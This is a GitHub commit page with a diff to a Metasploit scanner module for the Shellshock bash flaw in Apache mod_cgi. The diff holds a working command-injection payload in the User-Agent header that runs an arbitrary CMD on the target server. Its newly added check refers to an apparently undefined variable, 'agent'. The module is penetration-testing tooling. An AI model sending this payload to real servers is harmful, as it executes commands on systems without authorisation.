We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 8daf8d4 commit b1e9b36Copy full SHA for b1e9b36
modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb
@@ -42,13 +42,16 @@ def initialize(info = {})
42
43
def run_host(ip)
44
marker = Rex::Text.rand_text_alphanumeric(rand(42) + 1)
45
+ user_agent = %Q{() { :; }; echo "#{marker}$(#{datastore['CMD']})#{marker}"}
46
47
res = send_request_raw(
48
'method' => datastore['METHOD'],
49
'uri' => normalize_uri(target_uri.path),
- 'agent' => %Q{() { :; }; echo "#{marker}$(#{datastore['CMD']})#{marker}"}
50
+ 'agent' => user_agent
51
)
52
53
+ return if (res && res.body.include?(agent))
54
+
55
if res && res.body =~ /#{marker}(.+)#{marker}/m
56
print_good("#{peer} - #{$1}")
57
report_vuln(
0 commit comments